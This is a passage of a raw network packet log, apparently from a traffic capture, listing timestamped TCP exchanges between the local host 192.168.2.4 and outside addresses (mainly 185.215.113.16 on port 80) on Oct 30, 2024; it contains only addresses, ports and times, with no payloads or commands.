Oct 30, 2024 12:37:01.865539074 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.865555048 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.865564108 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.865564108 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.865586996 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.865606070 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.866107941 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866157055 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866173983 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866211891 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.866240978 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.866667986 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866683960 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866699934 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866714954 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.866736889 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.866774082 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.867513895 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.867530107 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.867547989 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.867567062 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.867588043 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.867588043 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.867634058 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.868396997 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.868412018 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.868433952 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.868449926 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.868453026 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.868477106 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.868518114 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.871066093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.871115923 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.871133089 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.871150970 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.871186018 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.871216059 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.977040052 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:01.977066994 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:01.977205992 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:01.977986097 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:01.978012085 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:02.021625996 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021641970 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021666050 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021677971 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021686077 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.021693945 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021716118 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021735907 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.021735907 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.021735907 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.021780968 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.021872044 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021884918 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.021941900 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.021941900 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022007942 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022047997 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022073030 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022088051 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022128105 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022167921 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022183895 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022197962 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022214890 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022243977 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022401094 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022481918 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022486925 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022528887 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022553921 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022568941 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022583961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022595882 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022624016 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022624016 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022695065 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022739887 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022763014 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022805929 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022851944 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022891998 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022897005 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022911072 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022949934 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022965908 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.022967100 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022967100 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.022990942 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023005009 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023005962 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023029089 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023067951 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023370028 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023385048 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023400068 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023415089 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023422956 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023422956 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023456097 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023456097 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023648024 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023669004 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023685932 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023689985 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023699045 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023715973 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023740053 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.023868084 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023911953 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023926973 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.023956060 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024003029 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024012089 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024025917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024040937 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024061918 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024076939 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024076939 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024079084 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024076939 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024173975 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024173975 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024564981 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024657011 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.024661064 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.024702072 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027100086 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027151108 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027163029 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027209044 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027323961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027339935 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027362108 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027374983 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027376890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027394056 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027400017 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027400017 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027411938 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.027419090 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027460098 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.027460098 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.125927925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 12:37:02.128185034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:02.130259991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:02.135591984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 12:37:02.177567005 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177594900 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177611113 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177628040 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177644968 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177660942 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177674055 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177670956 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177697897 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177712917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177725077 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177726030 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177735090 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177747965 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177751064 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177766085 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177781105 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177784920 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177803040 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177822113 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177840948 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177855968 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177870989 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177901983 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177926064 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.177983046 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.177998066 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178011894 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178029060 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178044081 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178045034 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178061008 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178062916 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178096056 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178117037 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178126097 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178169966 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178179026 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178194046 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178222895 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178252935 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178267002 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178282022 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178297043 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178313971 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178323984 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178337097 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178343058 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178375959 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178376913 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178472996 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178488970 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178503990 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178519011 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178571939 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178608894 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178622961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178662062 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178675890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178690910 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178692102 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178706884 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178741932 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178770065 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178791046 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178805113 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178819895 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178837061 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178869009 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178869009 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178883076 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178899050 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178914070 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.178946018 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178946018 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178981066 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.178999901 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.179017067 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.179030895 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.179047108 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.179056883 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.179061890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.179078102 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.179094076 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.179126024 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183243036 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183258057 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183273077 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183329105 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183329105 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183346033 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183361053 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183382988 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183397055 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183410883 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183410883 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183425903 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183429956 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183448076 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183449030 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183463097 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183473110 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183479071 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183495045 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183499098 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183499098 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183511019 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183518887 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183527946 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183537006 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183561087 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183561087 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183583021 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183626890 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183643103 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183657885 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183679104 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183692932 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183705091 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183716059 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183727980 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183732033 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183747053 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183753014 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183753014 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183772087 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183789968 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.183954954 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183969021 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.183985949 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184017897 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184036016 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184039116 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184053898 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184070110 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184086084 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184103012 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184103966 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184115887 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184125900 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184142113 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184164047 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184238911 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184284925 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184292078 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184300900 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184324026 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184334993 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184338093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184356928 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184365034 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184365034 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184384108 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184391022 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184402943 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184405088 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184427023 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184442043 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184453011 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184453964 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184458017 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184473038 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184480906 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184480906 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184499025 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184514046 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184715033 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184730053 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.184762955 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.184793949 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333338976 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333378077 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333395004 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333410978 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333422899 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333422899 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333432913 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333447933 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333465099 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333475113 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333475113 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333513975 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333822012 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333879948 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333889961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333905935 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.333935022 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333955050 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.333977938 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334000111 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334014893 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334021091 CET	49757	80	192.168.2.4	185.215.113.16
